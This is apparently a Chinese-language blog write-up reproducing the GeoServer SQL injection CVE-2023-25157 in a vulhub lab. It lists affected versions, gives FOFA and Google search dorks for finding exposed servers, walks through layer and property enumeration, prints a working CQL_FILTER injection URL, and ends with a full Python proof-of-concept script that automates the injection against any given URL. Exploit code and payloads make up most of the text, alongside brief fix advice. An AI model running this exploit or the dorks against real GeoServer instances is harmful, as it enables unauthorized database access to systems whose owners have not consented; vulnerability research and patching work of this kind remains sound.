GeoServer SQL 注入漏洞复现（CVE-2023-25157）附poc

简介

GeoServer是OpenGIS Web 服务器规范的 J2EE 实现，利用 GeoServer 可以方便的发布地图数据，允许用户对特征数据进行更新、删除、插入操作，通过 GeoServer 可以比较容易的在用户之间迅速共享空间地理信息。

漏洞概述

在2.22.1和2.21.4之前版本中，在开放地理空间联盟（OGC）标准定义的过滤器和函数表达式中发现了一个SQL注入问题，未经身份验证的攻击者可以利用该漏洞进行SQL注入，执行恶意代码。

影响版本

geoserver<2.18.7
2.19.0<=geoserver<2.19.7
2.20.0<=geoserver<2.20.7
2.21.0<=geoserver<2.21.4
2.22.0<=geoserver<2.22.2

搜索语法

fofa: icon_hash=“97540678”

google: inurl:“/geoserver/ows?service=wfs”

漏洞复现

使用vulhub靶场复现

cd vulhub-master/
cd geoserver/
cd CVE-2023-25157
docker-compose up -d
docker-compose ps

1.访问http://yourip:8080/geoserver进入首页

2.获取每个功能名称

在进行注入之前，首先要获取地理图层列表信息，这是sql注入payload中的一个必要参数

访问以下url获取：
http://192.168.43.161:8080/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities

<Name>标签中的信息，就是地理图层列表。这里选择vulhub:example作为地理图层列表信息

3.获取功能的属性

将上一步获取的typeName的name属性值拼接到url中，构成url如下：
http://192.168.43.161:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&maxFeatures=1&outputFormat=json

4.构造SQL 注入
Feature type (table) name: vulhub:example
One of attribute from feature type: name
利用这些已知参数，拼接成payload:
http://192.168.43.161:8080/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith(name,%27x%27%27)%20=%20true%20and%201=(SELECT%20CAST%20((SELECT%20version())%20AS%20integer))%20–%20%27)%20=%20true

成功获取到数据库版本号

修复建议

升级 org.geoserver.community:gs-jdbcconfig 到 2.21.4 或 2.22.2 或更高版本
禁用 PostGIS Datastore 的 encode functions 或使用 preparedStatements 处理 sql 语句

poc

使用方法：python CVE-2023-25157.py http://your-ip:8080/geoserver/ows

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import sys
import xml.etree.ElementTree as ET
import json

# Colored output codes
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BOLD = '\033[1m'
ENDC = '\033[0m'

# Check if the script is run without parameters
if len(sys.argv) == 1:
    print(f"{YELLOW}This script requires a URL parameter.{ENDC}")
    print(f"{YELLOW}Usage: python3 {sys.argv[0]} <URL>{ENDC}")
    sys.exit(1)

# URL and proxy settings
URL = sys.argv[1]
PROXY_ENABLED = False
PROXY = "http://127.0.0.1:8080/" if PROXY_ENABLED else None

response = requests.get(URL + "/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities",
                        proxies={"http": PROXY}, verify=False)

if response.status_code == 200:

    # Parse the XML response and extract the Name from each FeatureType and store in a list
    root = ET.fromstring(response.text)
    feature_types = root.findall('.//{http://www.opengis.net/wfs}FeatureType')
    names = [feature_type.findtext('{http://www.opengis.net/wfs}Name') for feature_type in feature_types]

    # Print the feature names
    print(f"{GREEN}Available feature names:{ENDC}")
    for name in names:
        print(f"- {name}")

    # Send requests for each feature name and CQL_FILTER type
    cql_filters = [
        "strStartsWith"]  # We can also exploit other filter/functions like "PropertyIsLike", "strEndsWith", "strStartsWith", "FeatureId", "jsonArrayContains", "DWithin" etc.
    for name in names:
        for cql_filter in cql_filters:
            endpoint = f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&maxFeatures=1&outputFormat=json"
            response = requests.get(URL + endpoint, proxies={"http": PROXY}, verify=False)
            if response.status_code == 200:
                json_data = json.loads(response.text)
                try:
                    properties = json_data['features'][0]['properties']
                except  IndexError:
                    print("Error: 超出范围")
                property_names = list(properties.keys())
                print(f"\n{GREEN}Available Properties for {name}:{ENDC}")
                for property_name in property_names:
                    print(f"- {property_name}")

                print(f"\n{YELLOW}Sending requests for each property name:{ENDC}")
                for property_name in property_names:
                    endpoint = f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&CQL_FILTER={cql_filter}%28{property_name}%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true"
                    response = requests.get(URL + endpoint, proxies={"http": PROXY}, verify=False)
                    print(
                        f"[+] Sending request for {BOLD}{name}{ENDC} with Property {BOLD}{property_name}{ENDC} and CQL_FILTER: {BOLD}{cql_filter}{ENDC}")
                    if response.status_code == 200:
                        root = ET.fromstring(response.text)
                        error_message = root.findtext('.//{http://www.opengis.net/ogc}ServiceException')
                        print(f"{GREEN}{error_message}{ENDC}")
                    else:
                        print(f"{RED}Request failed{ENDC}")
            else:
                print(f"{RED}Request failed{ENDC}")
else:
    print(f"{RED}Failed to retrieve XML data{ENDC}")